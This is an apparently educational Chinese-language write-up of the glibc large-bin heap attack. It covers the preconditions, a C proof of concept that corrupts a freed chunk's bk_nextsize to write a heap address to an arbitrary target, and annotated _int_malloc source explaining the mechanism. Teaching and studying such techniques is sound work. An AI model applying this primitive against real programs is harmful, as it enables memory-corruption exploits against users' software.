HeapAttack: LargeBin Attack
1. 漏洞样式
- 漏洞要求:Write After Free
- chunk大小:可申请 large bin(即size>=0x400)
2. 利用方法
2.1 攻击效果
在unsorted-bin chunk被sort进large-bin时,触发任意地址写
, 可以往任意地址
中写入一个不可控的未知大数
(实际为某堆地址
)。
实现以下目的:
- 修改循环次数
- 修改global_max_fast 或arena->max_fast的值,从而把size>0x80的chunk分配到fastbin中;或者在目标二进制使用mallopt(M_MXFAST,0)禁用fastbin后,重新启用
- 修改能够输出的变量,从而泄露堆地址
2.2 过程简述
假设堆状态如下:
unsorted-bin: A(0x400)
large-bin:
0x400: B(0x410)
若 B 存在Write After Free, 则修改 B->bk_nextsize
为 目标地址(target)
。
触发A加入到large-bin链表中,则会导致 A->bk_nextsize = B->bk_nextsize; A->bk_nextsize->fd_nextsize = B
即 target->fd_nextsize = A
。
即
unsorted-bin:
large-bin:
0x400: B(0x410) -> A(0x400) [A插入时触发攻击]
2.3 代码表示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| static uint64_t target; //假设需要被更改值的目标地址 int attack(){ void* A, * B, * C;
A = malloc(0x400 - 8); //A小 malloc(0x18); B = malloc(0x410 - 8); //B大 malloc(0x18);
free(B); // unsortedbin: B // largebin: empty
malloc(0x600); // unsortedbin: empty // largebin: 0x400: B(0x410)
free(A); // unsortedbin: A // largebin: 0x400: B(0x410)
* ( uint64_t * )(B + 0x18) = ( uint64_t ) ( &target ) - 0x20 //edit: B->bk_nextsize = target_over && let: target_over->fd_nextsize = target
malloc(0x600); // unsortedbin: empty // largebin: 0x400: B(0x410)->A(0x400) {触发:A->bk_nextsize->fd_nextsize = A} }
|
3. 原理分析
在glibc项目malloc.c文件_int_malloc函数中:
在chunk被从unsortedbin中sort下来之后的代码部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| . . . /* place chunk in bin */ //// 若smallbin范围 if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else ////若在largebin范围 { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; //// largebin:: [bck]: fwd /* maintain large bins in sorted order * / if (fwd != bck) //// largebin不为空 { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) ////确认victim为最小,因此插入到链表最后 { fwd = bck; bck = bck->bk; //// largebin:: [fwd]: bck //// 等同于2节例子中:[av]: B
victim->fd_nextsize = fwd->fd; ////fwd->fd 即为bck,也就是例子里的B victim->bk_nextsize = fwd->fd->bk_nextsize; //// 因此victim->bk_nextsize = bck->bk_nextsize (即A->bk_nextsize = B->bk_nextsize) fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; ////即bck->bk_nextsize = bck->bk_nextsize->fd_nextsize = victim ////即例子:B->bk_nextsize = B->bk_nextsize->fd_nextsize = A ////==> largebin attack的精髓即:B->bk_nextsize->fd_nextsize = A, ////==> 而它通过两步计算得到:victim->bk_nextsize = fwd->fd->bk_nextsize; 和 victim->bk_nextsize->fd_nextsize = victim; }
|
参考
heap_exploit_2.31/largebin_attack.c